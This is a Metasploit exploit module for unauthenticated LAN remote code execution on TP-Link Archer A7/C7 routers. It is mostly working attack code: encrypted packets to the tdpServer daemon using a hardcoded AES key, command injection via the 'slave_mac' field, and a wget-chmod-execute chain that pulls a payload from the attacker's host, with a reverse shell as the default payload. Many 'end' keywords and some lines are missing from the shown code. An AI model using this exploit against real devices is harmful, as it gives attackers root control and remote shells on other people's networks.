TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)





# This module requires Metasploit:
# Current source:

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
        'Name'           => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
        'Description'    => %q{
        This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
        the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
        The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
        not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
        as root, including downloading and executing a binary from another host.
        This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
        Radek Domanski).
        'License'        => MSF_LICENSE,
        'Author'         =>
          'Pedro Ribeiro <pedrib[at]>',             # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]> @RabbitPro'     # Vulnerability discovery and Metasploit module
        'References'     =>
            [ 'URL', ''],
            [ 'URL', ''],
            [ 'URL', ''],
            [ 'CVE', '2020-10882'],
            [ 'CVE', '2020-10883'],
            [ 'CVE', '2020-10884'],
            [ 'ZDI', '20-334'],
            [ 'ZDI', '20-335'],
            [ 'ZDI', '20-336' ]
        'Privileged'     => true,
        'Platform' => 'linux',
        'Arch'     => ARCH_MIPSBE,
        'Payload'        => {},
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DefaultOptions' =>
            'PAYLOAD'   => 'linux/mipsbe/shell_reverse_tcp',
            'WfsDelay'  => 15,
        'Targets'        =>
            [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
        'DisclosureDate' => "Mar 25 2020",
        'DefaultTarget'   => 0,

      ['MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])

  def check
      res = send_request_cgi({
        'uri'     => '/webpages/app.1564127413977.manifest',
        'method'  => 'GET',
        'rport'   => 80

      if res && res.code == 200
        return Exploit::CheckCode::Vulnerable
    rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Unknown

  def calc_checksum(packet)
    # reference table used to calculate the packet checksum
    # used by tdpd_pkt_calc_checksum (0x4037f0)
    # located at offset 0x0416e90 in the binary
    reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
    0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
    0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
    0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
    0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
    0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
    0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
    0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
    0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
    0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
    0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
    0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
    0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
    0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
    0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
    0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
    0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
    0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
    0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
    0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
    0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
    0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
    0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
    0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
    0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
    0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
    0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
    0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
    0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
    0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
    0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
    0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
    0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
    0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
    0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
    0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
    0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
    0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
    0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
    0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
    0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
    0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
    0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
    0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
    0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
    0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
    0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
    0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
    0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
    0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
    0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
    0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
    0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
    0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
    0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
    0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
    0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
    0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
    0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
    0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
    0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
    0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
    0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
    0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
    0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
    0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
    0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
    0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
    0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
    0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
    0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
    0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
    0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
    0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]

    res = 0xffffffff

    # main checksum calculation
    packet.each_entry { |c|
      index = ((c ^ res) & 0xff) * 4
      # .reverse is needed as the target is big endian
      ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
      res = ref ^ (res >> 8)

    checksum = ~res
    checksum_s = [(checksum)].pack('I>').force_encoding("ascii")

    # convert back to string
    packet = packet.pack('C*').force_encoding('ascii')

    # and replace the checksum
    packet[12] = checksum_s[0]
    packet[13] = checksum_s[1]
    packet[14] = checksum_s[2]
    packet[15] = checksum_s[3]


  def aes_encrypt(plaintext)
    # Function encrypts perfectly 16 bytes aligned payload

    if (plaintext.length % 16 != 0)

    cipher = 'AES-128-CBC'
    # in the original C code the key and IV are 256 bits long... but they still use AES-128
    iv = "1234567890abcdef"
    key = "TPONEMESH_Kf!xn?"
    encrypted = ''
    cipher.iv = iv
    cipher.key = key

    # Take each 16 bytes block and encrypt it
    plaintext.scan(/.{1,16}/) { |block|
      encrypted += cipher.update(block)


  def create_injection(c)
    # Template for the command injection
    # The injection happens at "slave_mac" (read advisory for details)
    # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.

    # This will fail if we send a command with single quotes (')
    # ... but that's not a problem for this module, since we don't use them for our command.
    # It might also fail with double quotes (") since this will break the JSON...
    inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"

    template = "{\"method\":\"slave_key_offer\",\"data\":{"\

    # This is required to calculate exact template length without replace flags
    template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
    # This has to be initialized to cover the situation when no padding is needed
    pad = ''
    padding = rand_text_alpha(16)

    template_len += inject.length

    # Calculate pad if padding is needed
    if (template_len % 16 != 0)
      pad = padding[0..15-(template_len % 16)]

    # Here the final payload is created
    template % {INJECTION:"#{inject}", PADDING:"#{pad}"}

  def update_len_field(packet, payload_length)
    new_packet = packet[0..3]
    new_packet += [payload_length].pack("S>")
    new_packet += packet[6..-1]

  def exec_cmd_file(packet)
    # This function handles special action of exec
    # Returns new complete tpdp packet
    inject = "\';sh #{@cmd_file}\'"
    payload = create_injection(inject)

    ciphertext = aes_encrypt(payload)
    if not ciphertext
      fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")

    new_packet = packet[0..15]
    new_packet += ciphertext
    new_packet = update_len_field(new_packet, ciphertext.length)


  # Handle incoming requests from the router
  def on_request_uri(cli, request)
    print_good("#{peer} - Sending executable to the router")
    print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
    send_response(cli, @payload_exe)
    @payload_sent = true

  def exploit
    if (datastore['SRVHOST'] == "" or datastore['SRVHOST'] == "::")
      fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")

    if datastore['SSL']
      fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")

    print_status("Attempting to exploit #{}")

    tpdp_packet_template =
      [0x01].pack('C*') +       # packet version, fixed to 1
      [0xf0].pack('C*') +       # set packet type to 0xf0 (onemesh)
      [0x07].pack('S>*') +      # onemesh opcode, used by the onemesh_main switch table
      [0x00].pack('S>*') +      # packet len
      [0x01].pack('C*') +       # some flag, has to be 1 to enter the vulnerable onemesh function
      [0x00].pack('C*') +       # dunno what this is
      [rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') +  # serial number, can by any value
      [0x5A,0x6B,0x7C,0x8D].pack('C*')        # Checksum placeholder

    srv_host = datastore['SRVHOST']
    srv_port = datastore['SRVPORT']
    @cmd_file = rand_text_alpha_lower(1)

    # generate our payload executable
    @payload_exe = generate_payload_exe

    # Command that will download @payload_exe and execute it
    download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"

    http_service = 'http://' + srv_host + ':' + srv_port.to_s
    print_status("Starting up our web service on #{http_service} ...")
    start_service({'Uri' => {
      'Proc' => { |cli, req|
        on_request_uri(cli, req)
      'Path' => "/#{@cmd_file}"

    print_status("#{peer} - Connecting to the target")

    print_status("#{peer} - Sending command file byte by byte")
    print_status("#{peer} - Command: #{download_cmd}")
    mod = download_cmd.length / 5

    download_cmd.each_char.with_index { |c, index|
      # Generate payload
      payload = create_injection(c)
      if not payload
        fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")

      # Encrypt payload
      ciphertext = aes_encrypt(payload)
      if not ciphertext
        fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")

      tpdp_packet = tpdp_packet_template.dup
      tpdp_packet += ciphertext
      tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
      tpdp_packet = calc_checksum(tpdp_packet.bytes)


      # Sleep to make sure the payload is processed by a target

      # Print progress
      if ((index+1) % mod == 0)
        percentage = 20 * ((index+1) / mod)
        # very advanced mathemathics in use here to show the progress bar
        print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
        if percentage == 100
          # a bit of cheating to get the last char done right
          index = -2
        #print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")

    # Send the exec command. From here we should receive the connection
    print_status("#{peer} - Command file sent, attempting to execute...")
    tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)

    timeout = 0
    while not @payload_sent
      timeout += 1
      if timeout == datastore['MAX_WAIT'].to_i
        fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")